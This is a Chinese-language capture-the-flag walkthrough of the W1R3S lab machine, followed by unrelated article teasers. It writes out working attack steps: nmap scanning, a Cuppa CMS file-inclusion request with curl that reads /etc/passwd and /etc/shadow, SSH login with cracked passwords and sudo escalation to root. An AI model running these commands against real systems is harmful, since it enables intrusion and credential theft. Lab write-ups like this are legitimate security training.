【w1r3s靶场渗透】

news/2024/10/11 10:50:08/

文章目录

一、主机发现

二、服务探测

三、挖掘漏洞

ftp渗透

Mysql登录

Web渗透

四、提权


一、主机发现

Kali IP:192.168.78.128

靶机IP:192.168.78.184

nmap -sP 192.168.78.0/24 

二、服务探测

端口探测

nmap -sT -sV -p- 192.168.78.184

漏洞探测

nmap -script=vuln -p21,22,80,3306 192.168.78.184

获取到wordpress框架信息,以及ftp匿名登录信息,这里没显示出来

目录文件探测

dirsearch -u http://192.168.78.184
dirb http://192.168.78.184

查找出该页面存在administrator目录:http://192.168.78.184/administrator/installation/

发现是Title[Cuppa CMS]框架!CuppaCMS是一套内容管理系统(CMS)!

三、挖掘漏洞

ftp渗透

ftp 192.168.203.138

输入后进入匿名登录,匿名登录的账号都是anonymous,密码为空,直接回车

下载里面的文件

mget *.txt

Md5和base64解密后没利用价值

有一串颠倒的字符和人员信息,颠倒字符解密网站:https://www.upsidedowntext.com/

字符解密后也没有利用价值,继续看其他服务

Mysql登录

mysql -h 192.168.203.138 -u root -p

显示不允许登录连接

Web渗透

前面我们知道了网站存在CuppaCMS,在kali搜索一下是否有漏洞信息

searchsploit cuppa cms

Copy到根目录查看一下

这里需要改一下路径

http://192.168.78.184/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

但是没显示

翻阅代码知道:它是用post的方式来处理传过来的参数的,并且没有做任何处理。

使用curl,对数据进行url编码,并且通过post的方式进行传递,这里省略详细过程。(看的wp)

curl --data-urlencode  urlConfig=../../../../../../../../../etc/passwd http://192.168.78.184/administrator/alerts/alertConfigField.php

成功显示,继续看一下shadow文件

curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.78.184/administrator/alerts/alertConfigField.php

将有密码的行保存下来去破解

首先破解了这两个www-data , w1r3s账户,试试w1r3s的相关权限

ssh w1r3s@192.168.78.184

四、提权

尝试sudo提权:Sudo -l

我们发现用户有三个ALL权限,意味着基本等于root用户了。

那我们启动一个新的bash会话,新建一个sh文件

echo '/bin/bash' >> root.sh
chmod +x root.sh
sudo ./root.sh

提权成功


http://www.ppmy.cn/news/1537410.html

相关文章

springboot kafka多数据源,通过配置动态加载发送者和消费者

前言 最近做项目,需要支持kafka多数据源,实际上我们也可以通过代码固定写死多套kafka集群逻辑,但是如果需要不修改代码扩展呢,因为kafka本身不处理额外逻辑,只是起到削峰,和数据的传递,那么就需…

【开源免费】基于SpringBoot+Vue.JS医院电子病历管理系统(JAVA毕业设计)

本文项目编号 T 008 ,文末自助获取源码 \color{red}{T008,文末自助获取源码} T008,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 医…

从0开始深度学习(7)——线性回归的简洁实现

在从0开始深度学习(5)——线性回归的逐步实现中,我们手动编写了数据构造模块、损失函数模块、优化器等,但是在现代深度学习框架下,这些已经包装好了 本章展示如果利用深度学习框架简洁的实现线性回归 0 导入头文件 im…

为网站筑起坚固防线,应对HTTP/2快速重置DDoS威胁

在互联网技术飞速发展的今天,网站已成为企业和组织对外交流的重要窗口。然而,随着网络攻击手段的日益复杂化,即便是看似普通的协议漏洞也可能成为攻击者手中的利器。最近,一种利用HTTP/2快速重置(RST)包的D…

如何将uniapp项目首次提交到指定git仓库

在移动应用开发领域,uniapp凭借其跨平台的优势,已经成为许多开发者的首选框架。创建一个uniapp项目后,将代码提交到版本控制仓库是项目管理的第一步。本文将详细介绍如何将uniapp项目首次提交到指定的Git仓库。 准备工作 在开始之前&#x…

set的基本用法 和 底层简单了解

在前面,已经了解过搜索二叉树了,也了解了一点红黑树的内容(不太了解的可以先查看前面的内容哦);现在我们了学习一下,底层以红黑树实现,遍历以搜索树的中序实现的set/multset; 序列式…

使用pycharm 开发streamlit的项目,怎么启动项目,进行debug调试

要在 PyCharm 中调试并启动你的 Streamlit 应用,可以按照以下步骤操作: 1. 配置 PyCharm 环境 确保 PyCharm 正确配置了 Python 解释器,且已经安装了 Streamlit。你可以通过以下步骤检查或设置: 打开 PyCharm,进入 …

uniapp的相关知识(1)

1、hover-class:当有鼠标按下时,会切换对应的样式;也可以设置对应的变色时间。 2、selectable:设置text组件的文本是否可以进行复制。 3、with:当设置为80%时,表示宽占整个屏幕的80%。 4、border&#x…